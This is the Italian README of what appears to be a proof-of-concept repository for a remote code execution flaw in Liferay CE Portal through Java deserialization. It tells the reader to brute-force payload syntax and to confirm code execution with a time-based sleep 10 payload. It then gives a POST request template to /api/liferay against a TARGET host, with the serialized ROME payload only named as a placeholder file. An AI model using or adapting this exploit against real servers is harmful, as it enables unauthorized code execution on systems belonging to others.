Liferay-CE-Portal-Java-Deserialization

Questa repo contiene il PoC per la vulnerabilità di esecuzione remota di codice di Liferay CE Portal!

Payload

Ho già condiviso i payload nel repository. Devi trovare la sintassi giusta con il metodo brute-force. I payload che condivido sono per una prova di concetto basata sul tempo (sleep 10). L'applicazione potrebbe non mostrare sempre l'output del comando. Per questo dovresti provare un payload basato sul tempo durante la PoC.

Prova di concetto

• POST /api/liferay HTTP/1.1
• Host: TARGET
• User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0)
• Accept: text/html,application/xhtml+xml,application/xml;q=0.9
• Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
• Accept-Encoding: gzip, deflate
• Connection: close

ROME-PAYLOAD-FILE

Esempio di PoC (sleep 10)